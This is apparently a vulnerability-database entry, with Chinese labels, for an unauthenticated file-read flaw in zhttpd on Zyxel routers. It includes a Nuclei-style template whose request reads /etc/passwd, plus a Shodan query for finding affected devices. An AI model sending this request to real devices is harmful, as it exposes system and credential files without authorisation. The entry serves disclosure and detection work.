unauth-lfd-zhttpd: zhttpd - Local File Inclusion

日期: 2025-08-01 | 影响软件: zhttpd | POC: 已公开

漏洞描述

zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.

PoC代码[已公开]

id: unauth-lfd-zhttpd

info:
  name: zhttpd - Local File Inclusion
  author: EvergreenCartoons
  severity: high
  description: |
    zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.
  reference:
    - https://sec-consult.com/blog/detail/enemy-within-unauthenticated-buffer-overflows-zyxel-routers/
    - https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/
    - https://github.com/rapid7/metasploit-framework/pull/17388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"VMG1312-B10D"
  tags: misconfig,unauth,zyxel,lfi,msf,vuln

http:
  - raw:
      - |
        GET /Export_Log?/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022030c7edc64dec56a6e5d5e0065086ff11bc344d4c1d90dfdd55168804595a5f8b022100a574469e9deb7c78d4b8b7169b81a0869a26f6ab8ea52ea8d96f7aed47760dd4:922c64590222798bb761d5b6d8e72950